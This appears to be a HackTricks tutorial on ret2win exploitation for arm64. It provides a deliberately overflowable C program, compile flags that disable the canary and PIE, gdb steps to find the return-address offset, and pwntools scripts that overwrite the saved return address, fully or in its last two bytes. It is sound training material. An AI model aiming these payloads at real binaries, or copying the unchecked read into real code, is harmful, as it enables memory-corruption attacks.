# Ret2win - arm64
{% hint style="success" %}
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{% endhint %}
Find an introduction to arm64 in:
{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %}
## Code
```c
#include
#include
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
```
Compile without pie and canary:
```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
```
## Finding the offset
### Pattern option
This example was created using [**GEF**](https://github.com/bata24/gef):
Stat gdb with gef, create pattern and use it:
```bash
gdb -q ./ret2win
pattern create 200
run
```
arm64 will try to return to the address in the register x30 (which was compromised), we can use that to find the pattern offset:
```bash
pattern search $x30
```
**The offset is 72 (9x48).**
### Stack offset option
Start by getting the stack address where the pc register is stored:
```bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
```
Now set a breakpoint after the `read()` and continue until the `read()` is executed and set a pattern such as 13371337:
```
b *vulnerable_function+28
c
```
Find where this pattern is stored in memory:
Then: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
## No PIE
### Regular
Get the address of the **`win`** function:
```bash
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 :
```
Exploit:
```python
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
```
### Off-by-1
Actually this is going to by more like a off-by-2 in the stored PC in the stack. Instead of overwriting all the return address we are going to overwrite **only the last 2 bytes** with `0x06c4`.
```python
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
```
You can find another off-by-one example in ARM64 in [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), which is a real off-by-**one** in a fictitious vulnerability.
## With PIE
{% hint style="success" %}
Compile the binary **without the `-no-pie` argument**
{% endhint %}
### Off-by-2
Without a leak we don't know the exact address of the winning function but we can know the offset of the function from the binary and knowing that the return address we are overwriting is already pointing to a close address, it's possible to leak the offset to the win function (**0x7d4**) in this case and just use that offset:
```python
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x07d4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
```
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
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Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
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